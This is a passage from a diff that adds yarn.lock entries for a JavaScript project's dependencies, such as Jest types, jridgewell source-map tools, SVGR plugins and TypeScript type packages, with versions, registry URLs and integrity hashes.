+    "@types/istanbul-reports" "^3.0.0"
+    "@types/node" "*"
+    "@types/yargs" "^16.0.0"
+    chalk "^4.0.0"
+
+"@jest/types@^28.1.3":
+  version "28.1.3"
+  resolved "https://registry.yarnpkg.com/@jest/types/-/types-28.1.3.tgz#b05de80996ff12512bc5ceb1d208285a7d11748b"
+  integrity sha512-RyjiyMUZrKz/c+zlMFO1pm70DcIlST8AeWTkoUdZevew44wcNZQHsEVOiCVtgVnlFFD82FPaXycys58cf2muVQ==
+  dependencies:
+    "@jest/schemas" "^28.1.3"
+    "@types/istanbul-lib-coverage" "^2.0.0"
+    "@types/istanbul-reports" "^3.0.0"
+    "@types/node" "*"
+    "@types/yargs" "^17.0.8"
+    chalk "^4.0.0"
+
+"@jridgewell/gen-mapping@^0.3.2", "@jridgewell/gen-mapping@^0.3.5":
+  version "0.3.8"
+  resolved "https://registry.yarnpkg.com/@jridgewell/gen-mapping/-/gen-mapping-0.3.8.tgz#4f0e06362e01362f823d348f1872b08f666d8142"
+  integrity sha512-imAbBGkb+ebQyxKgzv5Hu2nmROxoDOXHh80evxdoXNOrvAnVx7zimzc1Oo5h9RlfV4vPXaE2iM5pOFbvOCClWA==
+  dependencies:
+    "@jridgewell/set-array" "^1.2.1"
+    "@jridgewell/sourcemap-codec" "^1.4.10"
+    "@jridgewell/trace-mapping" "^0.3.24"
+
+"@jridgewell/resolve-uri@^3.1.0":
+  version "3.1.2"
+  resolved "https://registry.yarnpkg.com/@jridgewell/resolve-uri/-/resolve-uri-3.1.2.tgz#7a0ee601f60f99a20c7c7c5ff0c80388c1189bd6"
+  integrity sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw==
+
+"@jridgewell/set-array@^1.2.1":
+  version "1.2.1"
+  resolved "https://registry.yarnpkg.com/@jridgewell/set-array/-/set-array-1.2.1.tgz#558fb6472ed16a4c850b889530e6b36438c49280"
+  integrity sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==
+
+"@jridgewell/source-map@^0.3.3":
+  version "0.3.6"
+  resolved "https://registry.yarnpkg.com/@jridgewell/source-map/-/source-map-0.3.6.tgz#9d71ca886e32502eb9362c9a74a46787c36df81a"
+  integrity sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==
+  dependencies:
+    "@jridgewell/gen-mapping" "^0.3.5"
+    "@jridgewell/trace-mapping" "^0.3.25"
+
+"@jridgewell/sourcemap-codec@^1.4.10", "@jridgewell/sourcemap-codec@^1.4.14":
+  version "1.5.0"
+  resolved "https://registry.yarnpkg.com/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz#3188bcb273a414b0d215fd22a58540b989b9409a"
+  integrity sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==
+
+"@jridgewell/trace-mapping@^0.3.24", "@jridgewell/trace-mapping@^0.3.25":
+  version "0.3.25"
+  resolved "https://registry.yarnpkg.com/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz#15f190e98895f3fc23276ee14bc76b675c2e50f0"
+  integrity sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==
+  dependencies:
+    "@jridgewell/resolve-uri" "^3.1.0"
+    "@jridgewell/sourcemap-codec" "^1.4.14"
+
+"@leichtgewicht/ip-codec@^2.0.1":
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/@leichtgewicht/ip-codec/-/ip-codec-2.0.5.tgz#4fc56c15c580b9adb7dc3c333a134e540b44bfb1"
+  integrity sha512-Vo+PSpZG2/fmgmiNzYK9qWRh8h/CHrwD0mo1h1DzL4yzHNSfWYujGTYsWGreD000gcgmZ7K4Ys6Tx9TxtsKdDw==
+
+"@nicolo-ribaudo/eslint-scope-5-internals@5.1.1-v1":
+  version "5.1.1-v1"
+  resolved "https://registry.yarnpkg.com/@nicolo-ribaudo/eslint-scope-5-internals/-/eslint-scope-5-internals-5.1.1-v1.tgz#dbf733a965ca47b1973177dc0bb6c889edcfb129"
+  integrity sha512-54/JRvkLIzzDWshCWfuhadfrfZVPiElY8Fcgmg1HroEly/EDSszzhBAsarCux+D/kOslTRquNzuyGSmUSTTHGg==
+  dependencies:
+    eslint-scope "5.1.1"
+
+"@nodelib/fs.scandir@2.1.5":
+  version "2.1.5"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz#7619c2eb21b25483f6d167548b4cfd5a7488c3d5"
+  integrity sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==
+  dependencies:
+    "@nodelib/fs.stat" "2.0.5"
+    run-parallel "^1.1.9"
+
+"@nodelib/fs.stat@2.0.5", "@nodelib/fs.stat@^2.0.2":
+  version "2.0.5"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz#5bd262af94e9d25bd1e71b05deed44876a222e8b"
+  integrity sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==
+
+"@nodelib/fs.walk@^1.2.3", "@nodelib/fs.walk@^1.2.8":
+  version "1.2.8"
+  resolved "https://registry.yarnpkg.com/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz#e95737e8bb6746ddedf69c556953494f196fe69a"
+  integrity sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==
+  dependencies:
+    "@nodelib/fs.scandir" "2.1.5"
+    fastq "^1.6.0"
+
+"@pkgjs/parseargs@^0.11.0":
+  version "0.11.0"
+  resolved "https://registry.yarnpkg.com/@pkgjs/parseargs/-/parseargs-0.11.0.tgz#a77ea742fab25775145434eb1d2328cf5013ac33"
+  integrity sha512-+1VkjdD0QBLPodGrJUeqarH8VAIvQODIbwh9XpP5Syisf7YoQgsJKPNFoqqLQlu+VQ/tVSshMR6loPMn8U+dPg==
+
+"@pmmmwh/react-refresh-webpack-plugin@^0.5.3":
+  version "0.5.15"
+  resolved "https://registry.yarnpkg.com/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.15.tgz#f126be97c30b83ed777e2aeabd518bc592e6e7c4"
+  integrity sha512-LFWllMA55pzB9D34w/wXUCf8+c+IYKuJDgxiZ3qMhl64KRMBHYM1I3VdGaD2BV5FNPV2/S2596bppxHbv2ZydQ==
+  dependencies:
+    ansi-html "^0.0.9"
+    core-js-pure "^3.23.3"
+    error-stack-parser "^2.0.6"
+    html-entities "^2.1.0"
+    loader-utils "^2.0.4"
+    schema-utils "^4.2.0"
+    source-map "^0.7.3"
+
+"@rollup/plugin-babel@^5.2.0":
+  version "5.3.1"
+  resolved "https://registry.yarnpkg.com/@rollup/plugin-babel/-/plugin-babel-5.3.1.tgz#04bc0608f4aa4b2e4b1aebf284344d0f68fda283"
+  integrity sha512-WFfdLWU/xVWKeRQnKmIAQULUI7Il0gZnBIH/ZFO069wYIfPu+8zrfp/KMW0atmELoRDq8FbiP3VCss9MhCut7Q==
+  dependencies:
+    "@babel/helper-module-imports" "^7.10.4"
+    "@rollup/pluginutils" "^3.1.0"
+
+"@rollup/plugin-node-resolve@^11.2.1":
+  version "11.2.1"
+  resolved "https://registry.yarnpkg.com/@rollup/plugin-node-resolve/-/plugin-node-resolve-11.2.1.tgz#82aa59397a29cd4e13248b106e6a4a1880362a60"
+  integrity sha512-yc2n43jcqVyGE2sqV5/YCmocy9ArjVAP/BeXyTtADTBBX6V0e5UMqwO8CdQ0kzjb6zu5P1qMzsScCMRvE9OlVg==
+  dependencies:
+    "@rollup/pluginutils" "^3.1.0"
+    "@types/resolve" "1.17.1"
+    builtin-modules "^3.1.0"
+    deepmerge "^4.2.2"
+    is-module "^1.0.0"
+    resolve "^1.19.0"
+
+"@rollup/plugin-replace@^2.4.1":
+  version "2.4.2"
+  resolved "https://registry.yarnpkg.com/@rollup/plugin-replace/-/plugin-replace-2.4.2.tgz#a2d539314fbc77c244858faa523012825068510a"
+  integrity sha512-IGcu+cydlUMZ5En85jxHH4qj2hta/11BHq95iHEyb2sbgiN0eCdzvUcHw5gt9pBL5lTi4JDYJ1acCoMGpTvEZg==
+  dependencies:
+    "@rollup/pluginutils" "^3.1.0"
+    magic-string "^0.25.7"
+
+"@rollup/pluginutils@^3.1.0":
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/@rollup/pluginutils/-/pluginutils-3.1.0.tgz#706b4524ee6dc8b103b3c995533e5ad680c02b9b"
+  integrity sha512-GksZ6pr6TpIjHm8h9lSQ8pi8BE9VeubNT0OMJ3B5uZJ8pz73NPiqOtCog/x2/QzM1ENChPKxMDhiQuRHsqc+lg==
+  dependencies:
+    "@types/estree" "0.0.39"
+    estree-walker "^1.0.1"
+    picomatch "^2.2.2"
+
+"@rtsao/scc@^1.1.0":
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/@rtsao/scc/-/scc-1.1.0.tgz#927dd2fae9bc3361403ac2c7a00c32ddce9ad7e8"
+  integrity sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==
+
+"@rushstack/eslint-patch@^1.1.0":
+  version "1.10.4"
+  resolved "https://registry.yarnpkg.com/@rushstack/eslint-patch/-/eslint-patch-1.10.4.tgz#427d5549943a9c6fce808e39ea64dbe60d4047f1"
+  integrity sha512-WJgX9nzTqknM393q1QJDJmoW28kUfEnybeTfVNcNAPnIx210RXm2DiXiHzfNPJNIUUb1tJnz/l4QGtJ30PgWmA==
+
+"@sinclair/typebox@^0.24.1":
+  version "0.24.51"
+  resolved "https://registry.yarnpkg.com/@sinclair/typebox/-/typebox-0.24.51.tgz#645f33fe4e02defe26f2f5c0410e1c094eac7f5f"
+  integrity sha512-1P1OROm/rdubP5aFDSZQILU0vrLCJ4fvHt6EoqHEM+2D/G5MK3bIaymUKLit8Js9gbns5UyJnkP/TZROLw4tUA==
+
+"@sinonjs/commons@^1.7.0":
+  version "1.8.6"
+  resolved "https://registry.yarnpkg.com/@sinonjs/commons/-/commons-1.8.6.tgz#80c516a4dc264c2a69115e7578d62581ff455ed9"
+  integrity sha512-Ky+XkAkqPZSm3NLBeUng77EBQl3cmeJhITaGHdYH8kjVB+aun3S4XBRti2zt17mtt0mIUDiNxYeoJm6drVvBJQ==
+  dependencies:
+    type-detect "4.0.8"
+
+"@sinonjs/fake-timers@^8.0.1":
+  version "8.1.0"
+  resolved "https://registry.yarnpkg.com/@sinonjs/fake-timers/-/fake-timers-8.1.0.tgz#3fdc2b6cb58935b21bfb8d1625eb1300484316e7"
+  integrity sha512-OAPJUAtgeINhh/TAlUID4QTs53Njm7xzddaVlEs/SXwgtiD1tW22zAB/W1wdqfrpmikgaWQ9Fw6Ws+hsiRm5Vg==
+  dependencies:
+    "@sinonjs/commons" "^1.7.0"
+
+"@surma/rollup-plugin-off-main-thread@^2.2.3":
+  version "2.2.3"
+  resolved "https://registry.yarnpkg.com/@surma/rollup-plugin-off-main-thread/-/rollup-plugin-off-main-thread-2.2.3.tgz#ee34985952ca21558ab0d952f00298ad2190c053"
+  integrity sha512-lR8q/9W7hZpMWweNiAKU7NQerBnzQQLvi8qnTDU/fxItPhtZVMbPV3lbCwjhIlNBe9Bbr5V+KHshvWmVSG9cxQ==
+  dependencies:
+    ejs "^3.1.6"
+    json5 "^2.2.0"
+    magic-string "^0.25.0"
+    string.prototype.matchall "^4.0.6"
+
+"@svgr/babel-plugin-add-jsx-attribute@^5.4.0":
+  version "5.4.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-add-jsx-attribute/-/babel-plugin-add-jsx-attribute-5.4.0.tgz#81ef61947bb268eb9d50523446f9c638fb355906"
+  integrity sha512-ZFf2gs/8/6B8PnSofI0inYXr2SDNTDScPXhN7k5EqD4aZ3gi6u+rbmZHVB8IM3wDyx8ntKACZbtXSm7oZGRqVg==
+
+"@svgr/babel-plugin-remove-jsx-attribute@^5.4.0":
+  version "5.4.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-remove-jsx-attribute/-/babel-plugin-remove-jsx-attribute-5.4.0.tgz#6b2c770c95c874654fd5e1d5ef475b78a0a962ef"
+  integrity sha512-yaS4o2PgUtwLFGTKbsiAy6D0o3ugcUhWK0Z45umJ66EPWunAz9fuFw2gJuje6wqQvQWOTJvIahUwndOXb7QCPg==
+
+"@svgr/babel-plugin-remove-jsx-empty-expression@^5.0.1":
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-remove-jsx-empty-expression/-/babel-plugin-remove-jsx-empty-expression-5.0.1.tgz#25621a8915ed7ad70da6cea3d0a6dbc2ea933efd"
+  integrity sha512-LA72+88A11ND/yFIMzyuLRSMJ+tRKeYKeQ+mR3DcAZ5I4h5CPWN9AHyUzJbWSYp/u2u0xhmgOe0+E41+GjEueA==
+
+"@svgr/babel-plugin-replace-jsx-attribute-value@^5.0.1":
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-replace-jsx-attribute-value/-/babel-plugin-replace-jsx-attribute-value-5.0.1.tgz#0b221fc57f9fcd10e91fe219e2cd0dd03145a897"
+  integrity sha512-PoiE6ZD2Eiy5mK+fjHqwGOS+IXX0wq/YDtNyIgOrc6ejFnxN4b13pRpiIPbtPwHEc+NT2KCjteAcq33/F1Y9KQ==
+
+"@svgr/babel-plugin-svg-dynamic-title@^5.4.0":
+  version "5.4.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-svg-dynamic-title/-/babel-plugin-svg-dynamic-title-5.4.0.tgz#139b546dd0c3186b6e5db4fefc26cb0baea729d7"
+  integrity sha512-zSOZH8PdZOpuG1ZVx/cLVePB2ibo3WPpqo7gFIjLV9a0QsuQAzJiwwqmuEdTaW2pegyBE17Uu15mOgOcgabQZg==
+
+"@svgr/babel-plugin-svg-em-dimensions@^5.4.0":
+  version "5.4.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-svg-em-dimensions/-/babel-plugin-svg-em-dimensions-5.4.0.tgz#6543f69526632a133ce5cabab965deeaea2234a0"
+  integrity sha512-cPzDbDA5oT/sPXDCUYoVXEmm3VIoAWAPT6mSPTJNbQaBNUuEKVKyGH93oDY4e42PYHRW67N5alJx/eEol20abw==
+
+"@svgr/babel-plugin-transform-react-native-svg@^5.4.0":
+  version "5.4.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-transform-react-native-svg/-/babel-plugin-transform-react-native-svg-5.4.0.tgz#00bf9a7a73f1cad3948cdab1f8dfb774750f8c80"
+  integrity sha512-3eYP/SaopZ41GHwXma7Rmxcv9uRslRDTY1estspeB1w1ueZWd/tPlMfEOoccYpEMZU3jD4OU7YitnXcF5hLW2Q==
+
+"@svgr/babel-plugin-transform-svg-component@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-plugin-transform-svg-component/-/babel-plugin-transform-svg-component-5.5.0.tgz#583a5e2a193e214da2f3afeb0b9e8d3250126b4a"
+  integrity sha512-q4jSH1UUvbrsOtlo/tKcgSeiCHRSBdXoIoqX1pgcKK/aU3JD27wmMKwGtpB8qRYUYoyXvfGxUVKchLuR5pB3rQ==
+
+"@svgr/babel-preset@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/babel-preset/-/babel-preset-5.5.0.tgz#8af54f3e0a8add7b1e2b0fcd5a882c55393df327"
+  integrity sha512-4FiXBjvQ+z2j7yASeGPEi8VD/5rrGQk4Xrq3EdJmoZgz/tpqChpo5hgXDvmEauwtvOc52q8ghhZK4Oy7qph4ig==
+  dependencies:
+    "@svgr/babel-plugin-add-jsx-attribute" "^5.4.0"
+    "@svgr/babel-plugin-remove-jsx-attribute" "^5.4.0"
+    "@svgr/babel-plugin-remove-jsx-empty-expression" "^5.0.1"
+    "@svgr/babel-plugin-replace-jsx-attribute-value" "^5.0.1"
+    "@svgr/babel-plugin-svg-dynamic-title" "^5.4.0"
+    "@svgr/babel-plugin-svg-em-dimensions" "^5.4.0"
+    "@svgr/babel-plugin-transform-react-native-svg" "^5.4.0"
+    "@svgr/babel-plugin-transform-svg-component" "^5.5.0"
+
+"@svgr/core@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/core/-/core-5.5.0.tgz#82e826b8715d71083120fe8f2492ec7d7874a579"
+  integrity sha512-q52VOcsJPvV3jO1wkPtzTuKlvX7Y3xIcWRpCMtBF3MrteZJtBfQw/+u0B1BHy5ColpQc1/YVTrPEtSYIMNZlrQ==
+  dependencies:
+    "@svgr/plugin-jsx" "^5.5.0"
+    camelcase "^6.2.0"
+    cosmiconfig "^7.0.0"
+
+"@svgr/hast-util-to-babel-ast@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/hast-util-to-babel-ast/-/hast-util-to-babel-ast-5.5.0.tgz#5ee52a9c2533f73e63f8f22b779f93cd432a5461"
+  integrity sha512-cAaR/CAiZRB8GP32N+1jocovUtvlj0+e65TB50/6Lcime+EA49m/8l+P2ko+XPJ4dw3xaPS3jOL4F2X4KWxoeQ==
+  dependencies:
+    "@babel/types" "^7.12.6"
+
+"@svgr/plugin-jsx@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/plugin-jsx/-/plugin-jsx-5.5.0.tgz#1aa8cd798a1db7173ac043466d7b52236b369000"
+  integrity sha512-V/wVh33j12hGh05IDg8GpIUXbjAPnTdPTKuP4VNLggnwaHMPNQNae2pRnyTAILWCQdz5GyMqtO488g7CKM8CBA==
+  dependencies:
+    "@babel/core" "^7.12.3"
+    "@svgr/babel-preset" "^5.5.0"
+    "@svgr/hast-util-to-babel-ast" "^5.5.0"
+    svg-parser "^2.0.2"
+
+"@svgr/plugin-svgo@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/plugin-svgo/-/plugin-svgo-5.5.0.tgz#02da55d85320549324e201c7b2e53bf431fcc246"
+  integrity sha512-r5swKk46GuQl4RrVejVwpeeJaydoxkdwkM1mBKOgJLBUJPGaLci6ylg/IjhrRsREKDkr4kbMWdgOtbXEh0fyLQ==
+  dependencies:
+    cosmiconfig "^7.0.0"
+    deepmerge "^4.2.2"
+    svgo "^1.2.2"
+
+"@svgr/webpack@^5.5.0":
+  version "5.5.0"
+  resolved "https://registry.yarnpkg.com/@svgr/webpack/-/webpack-5.5.0.tgz#aae858ee579f5fa8ce6c3166ef56c6a1b381b640"
+  integrity sha512-DOBOK255wfQxguUta2INKkzPj6AIS6iafZYiYmHn6W3pHlycSRRlvWKCfLDG10fXfLWqE3DJHgRUOyJYmARa7g==
+  dependencies:
+    "@babel/core" "^7.12.3"
+    "@babel/plugin-transform-react-constant-elements" "^7.12.1"
+    "@babel/preset-env" "^7.12.1"
+    "@babel/preset-react" "^7.12.5"
+    "@svgr/core" "^5.5.0"
+    "@svgr/plugin-jsx" "^5.5.0"
+    "@svgr/plugin-svgo" "^5.5.0"
+    loader-utils "^2.0.0"
+
+"@tootallnate/once@1":
+  version "1.1.2"
+  resolved "https://registry.yarnpkg.com/@tootallnate/once/-/once-1.1.2.tgz#ccb91445360179a04e7fe6aff78c00ffc1eeaf82"
+  integrity sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==
+
+"@trysound/sax@0.2.0":
+  version "0.2.0"
+  resolved "https://registry.yarnpkg.com/@trysound/sax/-/sax-0.2.0.tgz#cccaab758af56761eb7bf37af6f03f326dd798ad"
+  integrity sha512-L7z9BgrNEcYyUYtF+HaEfiS5ebkh9jXqbszz7pC0hRBPaatV0XjSD3+eHrpqFemQfgwiFF0QPIarnIihIDn7OA==
+
+"@types/babel__core@^7.0.0", "@types/babel__core@^7.1.14":
+  version "7.20.5"
+  resolved "https://registry.yarnpkg.com/@types/babel__core/-/babel__core-7.20.5.tgz#3df15f27ba85319caa07ba08d0721889bb39c017"
+  integrity sha512-qoQprZvz5wQFJwMDqeseRXWv3rqMvhgpbXFfVyWhbx9X47POIA6i/+dXefEmZKoAgOaTdaIgNSMqMIU61yRyzA==
+  dependencies:
+    "@babel/parser" "^7.20.7"
+    "@babel/types" "^7.20.7"
+    "@types/babel__generator" "*"
+    "@types/babel__template" "*"
+    "@types/babel__traverse" "*"
+
+"@types/babel__generator@*":
+  version "7.6.8"
+  resolved "https://registry.yarnpkg.com/@types/babel__generator/-/babel__generator-7.6.8.tgz#f836c61f48b1346e7d2b0d93c6dacc5b9535d3ab"
+  integrity sha512-ASsj+tpEDsEiFr1arWrlN6V3mdfjRMZt6LtK/Vp/kreFLnr5QH5+DhvD5nINYZXzwJvXeGq+05iUXcAzVrqWtw==
+  dependencies:
+    "@babel/types" "^7.0.0"
+
+"@types/babel__template@*":
+  version "7.4.4"
+  resolved "https://registry.yarnpkg.com/@types/babel__template/-/babel__template-7.4.4.tgz#5672513701c1b2199bc6dad636a9d7491586766f"
+  integrity sha512-h/NUaSyG5EyxBIp8YRxo4RMe2/qQgvyowRwVMzhYhBCONbW8PUsg4lkFMrhgZhUe5z3L3MiLDuvyJ/CaPa2A8A==
+  dependencies:
+    "@babel/parser" "^7.1.0"
+    "@babel/types" "^7.0.0"
+
+"@types/babel__traverse@*", "@types/babel__traverse@^7.0.4", "@types/babel__traverse@^7.0.6":
+  version "7.20.6"
+  resolved "https://registry.yarnpkg.com/@types/babel__traverse/-/babel__traverse-7.20.6.tgz#8dc9f0ae0f202c08d8d4dab648912c8d6038e3f7"
+  integrity sha512-r1bzfrm0tomOI8g1SzvCaQHo6Lcv6zu0EA+W2kHrt8dyrHQxGzBBL4kdkzIS+jBMV+EYcMAEAqXqYaLJq5rOZg==
+  dependencies:
+    "@babel/types" "^7.20.7"
+
+"@types/body-parser@*":
+  version "1.19.5"
+  resolved "https://registry.yarnpkg.com/@types/body-parser/-/body-parser-1.19.5.tgz#04ce9a3b677dc8bd681a17da1ab9835dc9d3ede4"
+  integrity sha512-fB3Zu92ucau0iQ0JMCFQE7b/dv8Ot07NI3KaZIkIUNXq82k4eBAqUaneXfleGY9JWskeS9y+u0nXMyspcuQrCg==
+  dependencies:
+    "@types/connect" "*"
+    "@types/node" "*"
+
+"@types/bonjour@^3.5.9":
+  version "3.5.13"
+  resolved "https://registry.yarnpkg.com/@types/bonjour/-/bonjour-3.5.13.tgz#adf90ce1a105e81dd1f9c61fdc5afda1bfb92956"
+  integrity sha512-z9fJ5Im06zvUL548KvYNecEVlA7cVDkGUi6kZusb04mpyEFKCIZJvloCcmpmLaIahDpOQGHaHmG6imtPMmPXGQ==
+  dependencies:
+    "@types/node" "*"
+
+"@types/connect-history-api-fallback@^1.3.5":
+  version "1.5.4"
+  resolved "https://registry.yarnpkg.com/@types/connect-history-api-fallback/-/connect-history-api-fallback-1.5.4.tgz#7de71645a103056b48ac3ce07b3520b819c1d5b3"
+  integrity sha512-n6Cr2xS1h4uAulPRdlw6Jl6s1oG8KrVilPN2yUITEs+K48EzMJJ3W1xy8K5eWuFvjp3R74AOIGSmp2UfBJ8HFw==
+  dependencies:
+    "@types/express-serve-static-core" "*"
+    "@types/node" "*"
+
+"@types/connect@*":
+  version "3.4.38"
+  resolved "https://registry.yarnpkg.com/@types/connect/-/connect-3.4.38.tgz#5ba7f3bc4fbbdeaff8dded952e5ff2cc53f8d858"
+  integrity sha512-K6uROf1LD88uDQqJCktA4yzL1YYAK6NgfsI0v/mTgyPKWsX1CnJ0XPSDhViejru1GcRkLWb8RlzFYJRqGUbaug==
+  dependencies:
+    "@types/node" "*"
+
+"@types/eslint-scope@^3.7.7":
+  version "3.7.7"
+  resolved "https://registry.yarnpkg.com/@types/eslint-scope/-/eslint-scope-3.7.7.tgz#3108bd5f18b0cdb277c867b3dd449c9ed7079ac5"
+  integrity sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==
+  dependencies:
+    "@types/eslint" "*"
+    "@types/estree" "*"
+
+"@types/eslint@*":
+  version "9.6.1"
+  resolved "https://registry.yarnpkg.com/@types/eslint/-/eslint-9.6.1.tgz#d5795ad732ce81715f27f75da913004a56751584"
+  integrity sha512-FXx2pKgId/WyYo2jXw63kk7/+TY7u7AziEJxJAnSFzHlqTAS3Ync6SvgYAN/k4/PQpnnVuzoMuVnByKK2qp0ag==
+  dependencies:
+    "@types/estree" "*"
+    "@types/json-schema" "*"
+
+"@types/eslint@^7.29.0 || ^8.4.1":
+  version "8.56.12"
+  resolved "https://registry.yarnpkg.com/@types/eslint/-/eslint-8.56.12.tgz#1657c814ffeba4d2f84c0d4ba0f44ca7ea1ca53a"
+  integrity sha512-03ruubjWyOHlmljCVoxSuNDdmfZDzsrrz0P2LeJsOXr+ZwFQ+0yQIwNCwt/GYhV7Z31fgtXJTAEs+FYlEL851g==
+  dependencies:
+    "@types/estree" "*"
+    "@types/json-schema" "*"
+
+"@types/estree@*", "@types/estree@^1.0.6":
+  version "1.0.6"
+  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-1.0.6.tgz#628effeeae2064a1b4e79f78e81d87b7e5fc7b50"
+  integrity sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==
+
+"@types/estree@0.0.39":
+  version "0.0.39"
+  resolved "https://registry.yarnpkg.com/@types/estree/-/estree-0.0.39.tgz#e177e699ee1b8c22d23174caaa7422644389509f"
+  integrity sha512-EYNwp3bU+98cpU4lAWYYL7Zz+2gryWH1qbdDTidVd6hkiR6weksdbMadyXKXNPEkQFhXM+hVO9ZygomHXp+AIw==
+
+"@types/express-serve-static-core@*", "@types/express-serve-static-core@^5.0.0":
+  version "5.0.3"
+  resolved "https://registry.yarnpkg.com/@types/express-serve-static-core/-/express-serve-static-core-5.0.3.tgz#04174d3f0836863467b7fbcbbbcd69441d205715"
+  integrity sha512-JEhMNwUJt7bw728CydvYzntD0XJeTmDnvwLlbfbAhE7Tbslm/ax6bdIiUwTgeVlZTsJQPwZwKpAkyDtIjsvx3g==
+  dependencies:
+    "@types/node" "*"
+    "@types/qs" "*"
+    "@types/range-parser" "*"
+    "@types/send" "*"
+
+"@types/express-serve-static-core@^4.17.33":
+  version "4.19.6"
+  resolved "https://registry.yarnpkg.com/@types/express-serve-static-core/-/express-serve-static-core-4.19.6.tgz#e01324c2a024ff367d92c66f48553ced0ab50267"
+  integrity sha512-N4LZ2xG7DatVqhCZzOGb1Yi5lMbXSZcmdLDe9EzSndPV2HpWYWzRbaerl2n27irrm94EPpprqa8KpskPT085+A==
+  dependencies:
+    "@types/node" "*"
+    "@types/qs" "*"
+    "@types/range-parser" "*"
+    "@types/send" "*"
+
+"@types/express@*":
+  version "5.0.0"
+  resolved "https://registry.yarnpkg.com/@types/express/-/express-5.0.0.tgz#13a7d1f75295e90d19ed6e74cab3678488eaa96c"
+  integrity sha512-DvZriSMehGHL1ZNLzi6MidnsDhUZM/x2pRdDIKdwbUNqqwHxMlRdkxtn6/EPKyqKpHqTl/4nRZsRNLpZxZRpPQ==
+  dependencies:
+    "@types/body-parser" "*"
+    "@types/express-serve-static-core" "^5.0.0"
+    "@types/qs" "*"
+    "@types/serve-static" "*"
+
+"@types/express@^4.17.13":
+  version "4.17.21"
+  resolved "https://registry.yarnpkg.com/@types/express/-/express-4.17.21.tgz#c26d4a151e60efe0084b23dc3369ebc631ed192d"
+  integrity sha512-ejlPM315qwLpaQlQDTjPdsUFSc6ZsP4AN6AlWnogPjQ7CVi7PYF3YVz+CY3jE2pwYf7E/7HlDAN0rV2GxTG0HQ==
+  dependencies:
+    "@types/body-parser" "*"
+    "@types/express-serve-static-core" "^4.17.33"
+    "@types/qs" "*"
+    "@types/serve-static" "*"
+
+"@types/graceful-fs@^4.1.2":
+  version "4.1.9"
+  resolved "https://registry.yarnpkg.com/@types/graceful-fs/-/graceful-fs-4.1.9.tgz#2a06bc0f68a20ab37b3e36aa238be6abdf49e8b4"
+  integrity sha512-olP3sd1qOEe5dXTSaFvQG+02VdRXcdytWLAZsAq1PecU8uqQAhkrnbli7DagjtXKW/Bl7YJbUsa8MPcuc8LHEQ==
+  dependencies:
+    "@types/node" "*"
+
+"@types/html-minifier-terser@^6.0.0":
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/@types/html-minifier-terser/-/html-minifier-terser-6.1.0.tgz#4fc33a00c1d0c16987b1a20cf92d20614c55ac35"
+  integrity sha512-oh/6byDPnL1zeNXFrDXFLyZjkr1MsBG667IM792caf1L2UPOOMf65NFzjUH/ltyfwjAGfs1rsX1eftK0jC/KIg==
+
+"@types/http-errors@*":
+  version "2.0.4"
